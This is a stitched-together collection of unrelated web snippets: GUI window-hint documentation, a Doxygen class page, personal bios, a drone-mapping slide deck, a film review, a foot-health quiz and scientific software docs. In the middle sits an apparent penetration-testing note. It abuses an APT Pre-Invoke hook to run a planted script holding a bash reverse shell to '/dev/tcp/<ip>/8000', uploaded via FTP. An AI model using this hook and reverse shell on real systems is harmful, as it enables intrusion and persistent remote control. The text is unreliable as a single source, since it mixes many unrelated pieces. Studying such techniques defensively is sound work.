A generic object that appears as a window, such as an independently-displayable GenInteraction or a GenPrimary, has special needs for positioning and sizing itself, especially when appearing initially. Specific user interfaces may differ in how windows appear on the screen. In Motif, for instance, windows initially appear in one of several staggered positions. Primary and display objects extend by default to the right edge of the screen and to the top edge of the icon area at the bottom of the screen. Other windows are usually only as large as required by their children.
The
SpecSizeWinPair
structure is often used when specifying window sizes and positions. There are several hints which signal that a window should be positioned or sized depending on the position or size of another window, the size of the screen, or other conditions. The
SpecSizeWinSpec
structure allows you to specify an offset from another window, either by a number of points (remember that there are 72 points per inch), or by means of a ratio.
typedef struct { SpecWinSizeSpec SWSP_x; SpecWinSizeSpec SWSP_y; } SpecWinSizePair;
typedef WordFlags SpecWinSizeSpec; #define SWSS_RATIO 0x8000 #define SWSS_SIGN 0x4000 #define SWSS_MANTISSA 0x3c00 #define SWSS_FRACTION 0x03ff
The
SpecSizeWinPair
structure allows you to set up separate parameters for the
x
and
y
coordinates. For each coordinate, use the SWSS_RATIO flag to signal whether you are giving coordinates by means of a ratio instead of a constant. If you are using a ratio, use the SWSS_FRACTION, SWSS_MANTISSA, and SWSS_SIGN fields to specify the value of the ratio or use one of the following pre-defined constants to specify a ratio between zero and one:
#define PCT_0 0x000 #define PCT_5 0x033 #define PCT_10 0x066 #define PCT_15 0x099 #define PCT_20 0x0cc #define PCT_25 0x100 #define PCT_30 0x133 #define PCT_35 0x166 #define PCT_40 0x199 #define PCT_45 0x1cc #define PCT_50 0x200 #define PCT_55 0x233 #define PCT_60 0x266 #define PCT_65 0x299 #define PCT_70 0x2cc #define PCT_75 0x300 #define PCT_80 0x333 #define PCT_85 0x366 #define PCT_90 0x399 #define PCT_95 0x3cc #define PCT_100 0x3ff
To specify a constant offset, just use that offset, not setting the SWSS_RATIO flag. Not all windows will use the
SpecWinSizePair
structure.
HINT_POSITION_WINDOW_AT_RATIO_OF_PARENT, HINT_POSITION_WINDOW_AT_MOUSE, HINT_STAGGER_WINDOW, HINT_CENTER_WINDOW, HINT_TILE_WINDOW, HINT_WINDOW_NO_CONSTRAINTS
GenClass
has a number of hints used by the window classes to determine where the window appears initially and how the window is allowed to move about the screen. Specific UIs can override these hints when necessary or when they conflict with the UI's specifications. These hints are listed below.
HINT_POSITION_WINDOW_AT_RATIO_OF_PARENT
SpecWinSizePair
structure. This structure consists of two fields, the X position and the Y position of the new window's origin. Predetermined fraction values are names PCT_
xx
, where
xx
is a multiple of five between zero and 100 inclusive. For example, to have the window object's origin start out in the center of its parent, specify the hint as follows:HINT_POSITION_WINDOW_AT_RATIO_OF_PARENT = { SWSS_RATIO | PCT_25, SWSS_RATIO | PCT_60 };
HINT_POSITION_WINDOW_AT_MOUSE
HINT_STAGGER_WINDOW
HINT_CENTER_WINDOW
HINT_EXTEND_WINDOW_TO_BOTTOM_RIGHT, HINT_EXTEND_WINDOW_NEAR_BOTTOM_RIGHT, HINT_SIZE_WINDOW_AS_DESIRED, HINT_SIZE_WINDOW_AS_RATIO_OF_PARENT, HINT_SIZE_WINDOW_AS_RATIO_OF_FIELD, HINT_USE_INITIAL_BOUNDS_WHEN_RESTORED
GenClass
has a number of hints used by the window classes to determine the size of the window object initially and how the window is allowed to be resized on the screen. Specific UIs can override these hints when necessary or when they conflict with the UI's specifications. These hints are listed below.
HINT_EXTEND_WINDOW_TO_BOTTOM_RIGHT
HINT_EXTEND_WINDOW_NEAR_BOTTOM_RIGHT
HINT_SIZE_WINDOW_AS_DESIRED
HINT_SIZE_WINDOW_AS_RATIO_OF_PARENT
SpecWinSizePair
, described under
HINT_POSITION_WINDOW_AT_RATIO_OF_PARENT
. Instead of coordinates, however, the ratios in the structure are width and height.
HINT_SIZE_WINDOW_AS_RATIO_OF_FIELD
SpecWinSizePair
parameter indicating the ratio. See above.
HINT_KEEP_INITIALLY_ONSCREEN, HINT_DONT_KEEP_INITIALLY_ONSCREEN, HINT_KEEP_PARTIALLY_ONSCREEN, HINT_DONT_KEEP_PARTIALLY_ONSCREEN, HINT_KEEP_ENTIRELY_ONSCREEN, HINT_KEEP_ENTIRELY_ONSCREEN_WITH_MARGIN, HINT_NOT_MOVABLE
HINT_KEEP_INITIALLY_ONSCREEN
HINT_DONT_KEEP_INITIALLY_ONSCREEN
HINT_KEEP_PARTIALLY_ONSCREEN
HINT_DONT_KEEP_PARTIALLY_ONSCREEN
HINT_KEEP_ENTIRELY_ONSCREEN
HINT_KEEP_ENTIRELY_ONSCREEN_WITH_MARGIN
HINT_WINDOW_NO_TITLE_BAR, HINT_WINDOW_NO_SYS_MENU, HINT_WINDOW_MINIMIZE_TITLE_BAR, HINT_WINDOW_ALWAYS_DRAW_WITH_FOCUS
HINT_WINDOW_NO_TITLE_BAR instructs the specific UI to remove the title bar from a windowed object (dialog box, GenPrimary or GenDisplay). Use this hint with extreme prejudice as most of a window's functionality will not be accessible without a title bar.
HINT_WINDOW_NO_SYS_MENU instructs the specific UI to remove the system menu (or close button) from a windowed object. Again, do not use this hint unless necessary, as it overrides important features of windowed objects.
HINT_WINDOW_MINIMIZE_TITLE_BAR instructs the specific UI to minimize the area that the window's title bar occupies, if possible. (This hint is designed for use in smaller PDA-style devices.) Note that this hint usually takes away any system menus that may normally be included with the title bar. As a result, make sure that you provide another means to dismiss the window. Also note that if a window containing this hint is disabled, the window will be dismissed by the system.
HINT_WINDOW_ALWAYS_DRAW_WITH_FOCUS instructs the specific UI to draw the window as if it always contains the focus, including "high-lighting" the window's title bar, if possible. Only use this hint if it is absolutely necessary because it may confuse the user and it violates the predominant focus paradigm.


Review for {{coffees[coffeeId - 1].brand}} {{coffees[coffeeId - 1].name}}
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Rating:
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The refreshing JavaScript Datepicker, styled for Skeleton Framework.
Pikaday with Skeleton Pikaday
Pikaday with Skeleton Pikaday Theme


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Ring arrived today! Absolutely beautiful ! Am very pleased-thank you so much! I love the organic wavy band and the sea glass colors, and setting are gorgeous! It feels lovely on and a great fit!
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--- layout: post status: publish published: true title: Markdown Previews in QuickLook - QLMarkdown author: Arthur Rosa author_login: arthurlockman author_email<EMAIL_ADDRESS>author_url: https://b.rthr.me wordpress_id: 440 wordpress_url: http://b.rthr.me/?p=440 date: '2013-02-10 15:18:30 -0500' date_gmt: '2013-02-10 20:18:30 -0500' image: https://static.rthr.me/2013/02/Screen-Shot-2013-02-10-at-3.13.48-PM.png ---
I stumbled across a plugin for QuickLook on the Mac today that allows you to preview Markdown files right in the QuickLook pane. It's called QLMarkdown, written by Phil Toland. Installation is a simple drag and drop. You can style the previews how you like too, just edit the styles.css file and you're all set. It works really well, and I highly recommend you install it.


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Class that manages the store locations.
More...
#include <location_manager.h>
|
|
| LocationManager () |
| | Creates a new LocationManager object.
|
| |
| std::set< std::string > | getAll () |
| | Gets the list of all available locations. More...
|
| |
| bool | has (const std::string &location) |
| | Checks if a certain location is on the locations list. More...
|
| |
| void | add (const std::string &location) |
| | Adds a location to the locations list. More...
|
| |
| void | remove (const std::string &location) |
| | Removes a location from the locations list. More...
|
| |
| void | remove (unsigned long index) |
| | Removes the location with a certain index on the locations list. More...
|
| |
| void | read (const std::string &path) |
| | Reads from a file all of the locations data (name) and adds new objects created with that data to the store locations list. More...
|
| |
| void | write (const std::string &path) |
| | Writes to a file all of the locations data (name) that are on the store locations list. More...
|
| |
Class that manages the store locations.
◆ add()
| void LocationManager::add |
( |
const std::string & |
location | ) |
|
Adds a location to the locations list.
- Parameters
-
◆ getAll()
| std::set< std::string > LocationManager::getAll |
( |
| ) |
|
Gets the list of all available locations.
- Returns
- the list of all available locations
◆ has()
| bool LocationManager::has |
( |
const std::string & |
location | ) |
|
Checks if a certain location is on the locations list.
- Parameters
-
- Returns
- true, if the location is on the locations list; false, otherwise
◆ read()
| void LocationManager::read |
( |
const std::string & |
path | ) |
|
Reads from a file all of the locations data (name) and adds new objects created with that data to the store locations list.
- Parameters
-
◆ remove() [1/2]
| void LocationManager::remove |
( |
const std::string & |
location | ) |
|
Removes a location from the locations list.
- Parameters
-
◆ remove() [2/2]
| void LocationManager::remove |
( |
unsigned long |
index | ) |
|
Removes the location with a certain index on the locations list.
- Parameters
-
◆ write()
| void LocationManager::write |
( |
const std::string & |
path | ) |
|
Writes to a file all of the locations data (name) that are on the store locations list.
- Parameters
-
The documentation for this class was generated from the following files:


Hi! My name is Magda, I live in Queretaro, Mexico, and have a lovely family. I love sports, animals, and scrapbooking. I have a bachelors degree in Information Systems Management. I'll be attending DBC Chicago on July 14th. Right now I'm learning a lot in phase_0 and in this page I share some of the things I've been working on during the first weeks. Please take a look! Feedback is welcomed!


HACK WEEK 2019
Hack Week is HackMIT's week-long celebration of learning new things! Get pumped for a series of talks and workshops on cool tech and useful skills you can apply to your weekend projects!


As Mercury is the closest planet to the Sun, it is the hottest! It's important not to burn yourself out.


Infinite Scroll
If you're looking to display multiple pages of data without the need to click 'Next' or manually select a page, use Griddle's infinite scrolling feature! One will need to set the 'infiniteScroll' property to true in Griddle, as well as include the maximum height of the scrollable area (in pixels).
- infiniteScroll
- bool - Whether or not paging is controlled by scroll position, rather than navigation. Default: false
- bodyHeight
- int - The height, in pixels, that the scrollable area should be displayed in. Default: null
- useFixedHeader (Optional)
- bool - Whether or not to have fixed column headers when scrolling, which is accomplished by having Griddle represented in two tables (with the headers in the first). As Griddle doesn't make many assumptions about much styling, this will ensure that the table headers will be displayed above the scrollable table body. Default: false
- infiniteScrollSpacerHeight (Optional)
- int - The height, in pixels, of an extra row used to trigger paging. Changing this property should be a pretty rare occurrence. Default: 50
Example:
<Griddle results={fakeData} columnMetadata={columnMeta} resultsPerPage={5} infiniteScroll={true} bodyHeight={400}/>
Fixed Header
Generally, when using infinite scroll on a table, fixed headers are pretty desirable. To accomplish this, the 'useFixedHeader' property needs to be set to 'true'.
Griddle handles fixed headers in an Infinite Scroll situation by utilizing two separate tables, one containing the '' and the other containing the '
' as well as the capability to scroll. As we mention above, Griddle doesn't like to make many assumptions about much styling, so this is our surefire way to make sure that the headers stay put.Example:
<Griddle results={fakeData} columnMetadata={columnMeta} resultsPerPage={5} infiniteScroll={true} useFixedHeader={true} bodyHeight={400}/>
External Results
Feel free to scroll through your external data, too! When data is loading, the loading component will be appended to the end of the results.
Example:
<GriddleWithCallback showFilter={true} getExternalResults={fakeDataMethod}
loadingComponent={Loading} infiniteScroll={true} useFixedHeader={true} bodyHeight={400}/>


| HOME | DOWNLOAD | DOCUMENTATION | FORUM | FAQ |
> Home > Documentation > Spherical Harmonic I/O and Storage
SHCTOR(1) SHTOOLS 2.6 SHCTOR(1)
SHctor
SHctor - Convert complex spherical harmonics to real form.
SYNOPSIS
SUBROUTINE SHctor ( CCILM, RCILM, DEGMAX, CONVENTION, SWITCHCS ) REAL*8 CCILM(2, *, *), RCILM(2, *, *) INTEGER, OPTIONAL DEGMAX, CONVENTION, SWITCHCS
DESCRIPTION
SHctor will convert complex spherical harmonics of a real function to real form. By default, the dimension of the output array is the minimum of RCILM(1,*,*) and CCILM(1,*,*), though this can be changed by specifying the optional parameter DEGMAX. The normalization of the input and output coefficients are by default the same, but if the optional argument CONVENTION is set to 2, this routine will convert from geodesy 4-pi normalized coefficients to orthonormalized coefficients. The Condon-Shortley phase convention between the input an output coefficients can be modified by the optional argument SWITCHCS.
ARGUMENTS
CCILM (input) REAL*8, DIMENSION (2, *, *) The input complex spherical harmonic coefficients. CCILM(1, *, *) and CCILM(2, *, *) correspond to the real and complex part of the coefficients, respectively. Only the positive angular orders are input; the negative orders are assumed to satisfy the relation C_{l-m} = (-1)^m C_{lm}^*. RCILM (output) REAL*8, DIMENSION (2, *, *) The output real spherical harmonic coefficients. RCILM(1, *, *) and RCILM(2, *, *) correspond to the COS and SIN terms, respectively. DEGMAX (input) INTEGER, OPTIONAL The maximum degree of the output coefficients. By default, the dimension of the output coefficients will be the smallest of RCILM and CCILM. CONVENTION (input) INTEGER, OPTIONAL If 1 (default), the input and output coefficients will have the same normalization. If 2, orthonormalized coefficients will be converted to real geodesy 4-pi form. SWTICHCS (input) INTEGER, OPTIONAL If 0 (default), the input and output coefficients will possess the same Condon-Shortley phase convention. If 1, the input coefficients will first be multiplied by (-1)^m.
SEE ALSO
shrtoc(1), shcilmtocindex(1), shcindextocilm(1) <http://www.ipgp.jussieu.fr/~wieczor/SHTOOLS/SHTOOLS.html>
COPYRIGHT AND LICENSE
Copyright 2005, 2006 by Mark Wieczorek<EMAIL_ADDRESS>This is free software; you can distribute and modify it under the terms of the revised BSD license. SHTOOLS 2.6 2009-08-18 SHCTOR(1)
> Home > Documentation > Spherical Harmonic I/O
| Centre National de la Recherche Scientifique | Institut de Physique du Globe de Paris | © 2011 Mark Wieczorek |


Hi I'm looking to make a cleric/monk/rogue +5 items and UMD goes by how many rogue lvls you have so that will not be used. I was thinking 3 rogue lvls max out search, tumble and unlock. I was also thinking of using a single kama. I would like 20 lvls cleric or more.
Thanks
I would start by checking the builds index on the builds forum. I think I saw a few along that lines there. _________________ Come visit the Epic Builders Guild for all the character info you could ever want or need: Click Here
Didn't see what i was looking for but i'll check again Thanks
Wow just looked through the entire list and didn't see one build combining these classes. Thats amazing. _________________ Come visit the Epic Builders Guild for all the character info you could ever want or need: Click Here
So does that mean you super builders will be going to work on it?
Never mind going with something else.
Well I would offer a level split as a starting point for your original request. Perhaps a 20 cleric/15 monk/5 rogue, or a 20 cleric/18 monk/2 rogue would do what you are trying. They both all give most monk abilities, as well as plenty of clerical spel power. The second one gives empty body which is a nice concealment ability. You could easily go a high Wis route and get improved ki strike 4 and 5 and stick with unarmed. _________________ Come visit the Epic Builders Guild for all the character info you could ever want or need: Click Here
I just posted a build like this in Epic Builds forum. It only has 15 lvls of Cleric, but it should be very effective both at stealth and at melee.


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|---|---|---|
| Likelymale (Shawn) | Atopos | Chrisiebean |
| Sweet Kitty Arctic | Emma (Mod Locked) | Jennifer20 |
| Marty 23 | Jim (Mod Locked) | CyberCoockies |
| Blacksmith | BlondeSlut | |
| JackofClubs34 | ||
| QuietlyDevious | ||
| Jack O´Lantern |
||
| UselessPumpkin | ||
| Lockedpanda | ||
| Shocklock |


class: center, middle name: introduction1 ![](img/odm.png) Stephen Mather, GIS Manager, Cleveland Metroparks https://opendronemap.github.io/presentations/ramani-huria-2016 ??? Habari ya mchana Jina langu ni Stephen Mather Ninafanya kazi kama Cleveland Metroparks GIS Manager Sizungumzi Kiswahili, but I come from the Maziwa Makuu region of North America --- https://smathermather.wordpress.com/page/4/#jp-carousel-2920 class: center, middle name: introduction1 ![](img/odm.png) OpenDroneMap is an open source toolkit for aerial drone imagery. It is modern photogrammetry - fully automated matching, digital surface model, and mosaicking, including stitching and blending. ??? Talk about who you are, where you are from, etc. --- name: introduction3 # OpenDroneMap ## _Put another way_
??? --- name: shipoftheseus # Ship of Theseus In the tradition of the Ship of Theseus, it was originally forked from qwesda/BundlerTools https://github.com/qwesda/BundlerTools. ![Default-aligned image](https://1.bp.blogspot.com/-tWuvAq0dsDY/T5VAdqS8T1I/AAAAAAAAAJo/6OVlbTbLpsU/s320/trireme.jpg) ??? Who knows the Ship of Theseus? (also known as my grandfather's axe) --- name: shipoftheseus1 # Ship of Theseus In the tradition of the Ship of Theseus, it was originally forked from qwesda/BundlerTools https://github.com/qwesda/BundlerTools. ![Default-aligned image](https://1.bp.blogspot.com/-tWuvAq0dsDY/T5VAdqS8T1I/AAAAAAAAAJo/6OVlbTbLpsU/s320/trireme.jpg) A ship that has had all it's parts replaced — is it the same ship? ??? Who knows the Ship of Theseus? (also known as my grandfather's axe) --- name: shipoftheseus2 # Ship of Theseus In the tradition of the Ship of Theseus, it was originally forked from qwesda/BundlerTools https://github.com/qwesda/BundlerTools. ![Default-aligned image](https://1.bp.blogspot.com/-tWuvAq0dsDY/T5VAdqS8T1I/AAAAAAAAAJo/6OVlbTbLpsU/s320/trireme.jpg) A ship that has had all it's parts replaced — is it the same ship? I have my grandfather's axe. It has had its handle and head replaced... ??? Who knows the Ship of Theseus? (also known as my grandfather's axe) --- name: introduction3 # OpenDroneMap OpenDroneMap is a tool to postprocess drone, balloon, kite, and street view data to geographic data including: * orthophotos * point clouds * textured mesh ??? --- name: pointcloud class: center, middle # Point Cloud ![Default-aligned image](img/point_cloud.png) ??? --- name: texturedmesh class: center, middle # Textured Mesh ![Default-aligned image](img/mesh.png) --- name: inputimageexample class: center, middle # Raw aerial image ![Default-aligned image](img/aerial.jpg) ??? --- name: orthophoto class: center, middle # Completed orthophoto mosaic ![Default-aligned image](img/mosaic.png) ??? name: outline1 --- # Outline * ## Introduction (2) * ## Technical dive * ## The Broader Ecosystem ??? --- # Introduction (2) * ## Platforms * ## Image input assumptions ??? --- class: center, middle # Platforms --- class: center, middle # Helikite ![](img/helikite.png) --- class: center, middle # (Reel for control) ![](img/reel.png) --- class: center, middle # Kite
--- class: center, middle # Rotorcraft
--- class: center, middle # Small fixed wing
--- class: center, middle # Large fixed wing
--- # Image input assumptions * JPEG / RGB * High level of overlap and sidelap * 80%+ overlap --- ## Technical dive * ### Underlying approaches * #### Structure from Motion (SfM) * #### Dense point cloud creation * #### Mesh Generation * #### Texturing / Blending * #### Ortho photo creation ??? --- # Structure from Motion (SfM)
??? --- # Dense point cloud creation * Currently PMVS / CMVS (https://www.di.ens.fr/cmvs/) * Moving to Semi-global matching * Questions: * Custom development? * Use (AGPL-licensed OpenMVS)? ![](https://cdcseacave.github.io/openMVS/images/logo.png) ??? --- # What is Semi-global Mapping? * Structure from motion + disparity mapping ??? --- # What is Semi-global Mapping? * Structure from motion + disparity mapping ![](img/disparity.png) ??? --- # Semi-global Mapping * Advantages ![](img/points1.png) ??? --- # Semi-global Mapping * Advantages ![](img/points2.png) ??? --- # Mesh Generation ![](img/mesh_u.png) ??? --- # Mesh Generation ![](img/mesh_u_zoom.png) ??? --- # Mesh Generation ![](img/mesh_zoom.png) ??? --- # Mesh Generation (future) ![](img/flat1.png) ??? --- # Mesh Generation (future) ![](img/flat2.png) ??? --- # Texturing / Blending
--- # Texturing / Blending and orthophotos ![](img/bellus-mvs-diff.png) ??? --- # Texturing / Blending and orthophotos ![](img/mvs_diffs.png) ??? --- # Random Accuracy slide ![](img/akron-fields.png) --- # The Broader Ecosystem * ## Aerial imagery * ### OpenAerialMap * ### Portable OSM (POSM) * ### Public Lab * ## Terrain & 3D datasets ??? --- ## The Broader Ecosystem * ### Aerial imagery * #### OpenAerialMap * #### Portable OSM (POSM) ![](img/posm.png) * #### Public Lab * ### Terrain & 3D datasets ??? --- # A quick aside: ![](img/future.png) ??? --- # A quick aside: * ## Texturing improvements * ## Dense point cloud improvements * ## _Video inputs_ * ### Possible realtime and near realtime processing for parts of toolchain ??? --- # Citywide mapping: ![](img/drone_flights.png) --- class: center, middle ![](img/odm.png) https://github.com/OpenDroneMap/OpenDroneMap https://github.com/OpenDroneMap/OpenDroneMap/wiki https://lists.osgeo.org/cgi-bin/mailman/listinfo/opendronemap-users https://lists.osgeo.org/cgi-bin/mailman/listinfo/opendronemap-dev https://gitter.im/OpenDroneMap/OpenDroneMap https://github.com/OpenDroneMap/OpenDroneMap/wiki/Roadmap @smathermather |<EMAIL_ADDRESS>---


+++ title = "Simulatore di circuiti" date = 2018-09-22T08:06:49+02:00 draft = false type = "verbatim" +++
Licensed under the MIT license - Source code (forked from here) - see here for more details about the creators of this tool.


BEING HUMAN A film review by Joan Ellis Copyright 1995 Nebbadoon Syndicate
BEING HUMAN shows us exactly what Robin Williams would be like in a Valium trance. It's not that he can't play a timid soul when asked. It's just such an awful waste. Williams is a prodigious talent with equal facility for comedy or pathos, but here he is playing a weak, undefined character in an oddly uninteresting set of period pieces. So the question becomes just what is writer/director Bill Forsyth trying to do and why is Robin Williams doing it? It doesn't seem like too long a reach to speculate that Williams was intrigued with Forsyth's idea of tracing a human being being human through several centuries. The movie follows Hector as cave man, slave to a noble Roman, Irishman, shipwrecked gentleman and, finally, contemporary divorced husband/father.
You hardly need to connect the dots to find the problem. It's very hard to film a popular American movie star as a cave man without making him look silly. The voice timbre, the accents, the look of this movie are contemporary. However words sounded in the cave culture, they didn't sound like this. The error is magnified by an American narrator who makes flashy little comments about the passing parade and destroys any possibility of period flavor. A storyteller she isn't.
In each of his five lives, Hector is Forsyth's vehicle for exploring a few of history's driving forces: courage, cowardice, greed, love and food. As coward, Hector falters in indecision as his wife and children are stolen by invaders. He runs from an escapee who needs his help. He reneges on a promised suicide pact with his noble Roman and puts himself before his friends in heading for uncertain rescue on an African beach.
If he is a coward, he's also a follower. He vacillates until others lead him to decision--his cave wife, his master, his priest and his new age daughter, who leads him through the supermarket, relieving him of the need to make choices at the food bins. The poor fellow is always trying to escape some state of siege, trying to go home without ever quite making it. It's a relief to watch him pee silently and without drama, which seems to work well in all centuries.
This movie has water, water everywhere: the cave is by the ocean, and so are the Romans, the Irish, the Portuguese and the Americans. It's connective tissue, but we never understand the connection. The whole thing is less than a noble failure, more than a bad idea. Bill Forsyth's view of historical detail is so quirky that nothing works either as straight drama or as lighthearted comment. The ground between the two is silliness, and that's a shame because the actors, who play many roles each, are very good. If you are intrigued by the idea of how a person might pass through the centuries, you may want to try ORLANDO.
Studio: Warner Bros. Rating: PG-13
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
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The following is a demo showing some CoffeeScript code involving multiple files using RequireJS. This code is also unit tested using mocha.
To see Play's source map support, inspect this paragraph with your browsers developer tools. Locate
the place where the source-maps
style is defined, and browse to the source code. You
should find yourself looking at the declaration in main.less
.
Similarly with CoffeeScript, if you use your browsers script developer tools to open
Controller.coffee
, then you should be able to set a breakpoint in there.


Hello!
My name is Nora and I am a 2016 Software Engineering Graduate from Miami University...of Ohio not Florida.
Computer Science fascinates me because it teaches you so much more than how to program a computer. It teaches you how to learn. Hello again, my name is Nora Husani and I am a 2016 Software Engineering Graduate with a specialization in Technology Education. I now work as a Senior IT Analyst at Eli Lilly and Company in Indianapolis, Indiana.
I grew up in the Cleveland suburbs and from a young age have always been passionate about education and how we learn. In college my curiosity for learning only grew. On campus I founded a club called Kode2Learn where we visited local elementary schools in the Oxford area and taught 3rd-5th graders how to code. How to problem solve. How to learn. I've always found early childhood education fascinating because children are not like us in one very important way. Children do not see limitations. Children dream of the impossible and ask "well why can't we?" and it is this fresh point of view that pairs so well with programming. Through my studies I did not just grow to understand how we learn but I saw how much technology can positively affect society as well. My vision is to find meaning and fulfillment in my life by the contributions I make to my community through the enhancement of software and technologies.
Care to connect?
My Experiences
What's trending?
Learn why kids are such great programmers!


Hello everyone!
My name is David Ristevski, some might know me as “DzaDze”. I come from Macedonia, small but very beautiful country. I currently live in Skopje, the capital of Macedonia.
 In everything I do, I give a piece of my heart and try my best to make the client happy with the final result, and of course make myself happy.
Currently I'm working in the creative direction of NewMedia Marketing, Macedonia.
Also, I am graffiti lover, adventurer and I love love haribo. Dreadlocks on my head forever!
"Vir sapit qui pauca loquitur" - Unknown
Your message has been sent. Thank you!
Sorry your message can not be sent.


Usage¶
After having installed mosquittoChat, just run the following commands to use it:
Mosquitto Server¶
For
Mac
Users# start normally $ mosquitto -c /usr/local/etc/mosquitto/mosquitto.conf # If you want to run in background $ mosquitto -c /usr/local/etc/mosquitto/mosquitto.conf -d # start using brew services (doesn't work with tmux, athough there is a fix, mentioned in one of the pull requests and issues) $ brew services start mosquitto
For
Ubuntu/LInux
Users# start normally $ mosquitto -c /usr/local/etc/mosquitto/mosquitto.conf # If you want to run in background $ mosquitto -c /usr/local/etc/mosquitto/mosquitto.conf -d # To start using service $ sudo service mosquitto start # To stop using service $ sudo service mosquitto stop # To restart using service $ sudo service mosquitto restart # To check the status $ service mosquitto status
mosquittoChat Application¶
Start Server
$ mosquittoChat [options]
Options
–port: Port number where the chat server will start Example
$ mosquittoChat --port=9191
Stop mosquittoChat Server
Click
Ctrl+C
to stop the server.


Color Code Personality Science
Millions of people have used color code to help them: create life success, connect with others, and build better business.


Welcome to AHN's COPD Test.
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This ties in directly with APT
Hooks called: Post-Invoke/Post-Invoke-Success:
DPkg::Post-Invoke invoked after every execution of dpkg (by an apt tool, not manually)
DPkg::Pre-Invoke
APT::Update::Post-Invoke-Success invoked after successful updates
APT::Update::Post-Invoke invoked after updates, success or otherwise
APT::Update::Pre-Invoke-Success
APT::Update::Pre-Invoke
Look at the post-invoke hook in /etc/dpkg/dpkg.cfg, which is equivalent to DPkg::Post-Invoke, but is applied in all cases, not just apt based executions of dpkg
Look at the hooks in /etc/apt/apt.conf
Separate configuration files can go in /etc/apt/apt.conf.d/ if not editing apt.conf or dpkg.cfg
Apt doesn't provide a pre-invoke hook for Upgrade or Install though, so this only works for apt-get update.
At this time, there is no DPkg::Post-Invoke-Success
The source is handled respectively in apt-pkg/dev/dpkgpm.cc and apt-pkg/updaate.cc
We can make apt run commands before and after execution. These configuration files go in /etc/apt/apt.conf.d/
-------------------------------------------------
00shell:
#Command for apt to run on 'apt update' PRE invocation
#There is a separate command for POST invocation
APT::Update::Pre-Invoke {"/bin/bash /tmp/ippsec.sh"}
-------------------------------------------------
-------------------------------------------------
/tmp/ippsec.sh:
#!/bin/bash
bash -i >& /dev/tcp/<ip>/8000 0>&1 #or mkfifo or other shell
pinc -c 1 <ip> #confirmation script ran // QoL
-------------------------------------------------
ftp> put 00shell /etc/apt/apt.conf.d/00shell
ftp> put ippsec.sh /tmp/ippsec.sh


Improve your performance by keeping your feet in top condition.
Consider the foot: Although we often plant our weight atop it for four hours or more each day, we seldom give it a second thought. Even aching feet may not get our attention. But don't ignore the pain: it is a warning sign.
In fact, more than 300 ailments afflict feet, from bunions and heel pain to arthritis and hammertoes. The natural fat padding on the bottom thins over time; extra weight adds strain; neglected feet hamper exercise.
As we get a little older, we have to select shoes with a bit better shock-absorbing quality. Most problems, recognized early, can be treated very simply.
This self-assessment quiz from the Foot Health Foundation of America can give you an idea.
How much time do you spend on your feet each day?
How old are you?
How would you describe your weight?
Leisure/sports activities?
Work activities?
Have you ever received medical treatment for foot and/or ankle problems?
Do you regularly wear heels 2 inches or higher?
What types of exercise are you performing or planning? Check all that apply:
Do you have the appropriate shoes for your sport or sports?
Do you experience foot or ankle pain when walking or exercising?
Exercise in footwear more than a year old or in hand-me-down footwear?
Stretch properly before and after exercising?
Do you have diabetes?
Do you experience numbness and/or burning in your feet?
Do you have a family history of diabetes?
Do you sprain your ankles frequently (once a year or more) or have weak ankles?
Do you have flat feet or excessively high arches?
Do you experience pain in the Achilles tendon or heel or have shin splints (pain in the front lower leg)?
Do you have corns, calluses, bunions, or hammertoes?
Do you have arthritis or joint pain in your feet?
Do you have poor circulation or cramping in your legs?
0 – 20 points:
Congratulations! Your feet and ankles are very healthy, and you can maintain your active lifestyle and exercise regimen. With proper attention, your feet and ankles should remain healthy, but consider an annual podiatric exam. If you scored points for questions 4, 5, 9, 11, or 12, seek that exam sooner.
21 – 40 points:
Pay attention. Your feet and ankles are showing signs of wear, placing you in the moderate risk category. Although you can continue normal activities, you should strongly consider having your feet checked by your family doctor or a podiatrist, especially if you have or plan a rigorous exercise regimen or scored points for questions 4, 5, 9, 11, or 12.
41 points or higher:
Your feet and ankles are at high risk for long-term problems, and you should get a foot exam quickly. If you exercise, watch your feet and ankles until that exam. And if you haven't begun exercising, see your family physician or a podiatrist first.
Even if you scored well, this test is no substitute for a physical exam. If you're over 40 and smoke, or if you have trouble with your heart, circulation, respiration, blood pressure, heart rate, cholesterol, or an existing medical condition or injury, see a physician before beginning to exercise.


A photon transport simulation is initiated with
solution = ValoMC(mesh, medium, boundary, options); solution = ValoMC(mesh, medium, boundary);
Documentation for each input structure and the output structure is provided here. Most of the fields in the input structures are arrays. For convenience, it is also possible to give the fields as scalars or as incomplete arrays. ValoMC will fill the arrays with the scalar value or complete them with the default values.
Input structures
1: mesh
The mesh structure defines the geometry of the problem.
| Field name | Description | Unit | Element type [array size] |
| r | grid point coordinates | mm | double [Nr = number of coordinates in the system x 2] |
| H | indices to the grid points (triangles), i.e element topology | dimensionless | int64 [Ne = number of elements in the system x 3] |
| BH | indices to the boundary grid points (edges) | dimensionless | int64 [Nb = number of edges in the system x 2] |
| Optional fields | |||
| HN | neighborhood topology | int64 [Ne = number of elements in the system x 3] |
Geometry description
A single area element is a triangle.
For example, a simple quadratic region that consists of two triangles can be built with the coordinate matrix
and network topology matrices
The elements in H and BH refer to the rows in r. Each row in H refers to a single triangle and each row in BH refers to a single element boundary. As the quad has four edges and two triangles, there are four rows in BH and two rows in H. The matrices are illustrated in the figure below
Note that the boundary lines are defined counterclockwise. While you can use clockwise or irregularly defined meshes, this might impair the functionality of 'findBoundaries' and make relative directions for lightsources ill defined.
2: medium
This structure is used to set the properties of the the medium. Ne is the number elements in the mesh. If a scalar value is given, it is applied to all elements.
| Field name | Description | Unit | Element type [array size] |
| refractive_index | \(n\) | dimensionless | double [Ne] or [Ne x 2] (see below) |
| absorption_coefficient | \(\mu_a\) | 1/mm | double [Ne] or [Ne x 2] |
| scattering_coefficient | \(\mu_s\) | 1/mm | double [Ne] or [Ne x 2] |
| scattering_anisotropy | \(g\) (Henye-Greenstein phase function) | dimensionless | double [Ne] or [Ne x 2] |
For detailed description of the coefficients, see e.g. the books by [Ihshimaru] and [Wang]
[Ishimaru] Wave Propagation and Scattering in Random Media, IEEE Press and Oxford University Press, 1997 [Wang] Biomedical Optics Principles and Imaging, Wiley, 2007
When two dimensional arrays are used, it is assumed that the mesh has been created with createGridMesh. The values then represent the values in each in grid point.
3: boundary
This structure is used to set the properties of the boundary surrounding the medium. Nb refers to the number of elements in the boundary. If a scalar value is given, it is applied to all elements.
| Field name | Description | Unit | Element type [array size] |
| lightsource |
|
double [Nb] | |
